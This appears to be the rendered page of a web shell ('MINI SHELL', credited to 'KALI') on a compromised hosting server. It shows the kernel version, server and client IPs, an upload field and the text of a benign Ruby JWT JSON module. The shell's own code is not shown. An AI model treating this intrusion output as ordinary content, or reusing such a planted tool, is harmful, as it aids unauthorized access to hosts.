~ K    A     L    I ~
UNAME : Linux web63.extendcp.co.uk 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
SERVER IP : 10.0.187.63 -________- CLIENT IP : 216.73.216.199
PATH :/usr/share/gems/gems/jwt-1.5.1/lib/jwt/
UP FILE :
MINI SHELL D ZAB '
Current File : //usr/share/gems/gems/jwt-1.5.1/lib/jwt/json.rb
# encoding: utf-8
module JWT
  # JSON fallback implementation or ruby 1.8.x
  module Json
    if RUBY_VERSION >= '1.9' && !defined?(MultiJson)
      require 'json'

      def decode_json(encoded)
        JSON.parse(encoded)
      rescue JSON::ParserError
        raise JWT::DecodeError.new('Invalid segment encoding')
      end

      def encode_json(raw)
        JSON.generate(raw)
      end

    else
      require 'multi_json'

      def decode_json(encoded)
        MultiJson.decode(encoded)
      rescue MultiJson::LoadError
        raise JWT::DecodeError.new('Invalid segment encoding')
      end

      def encode_json(raw)
        MultiJson.encode(raw)
      end
    end
  end
end
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com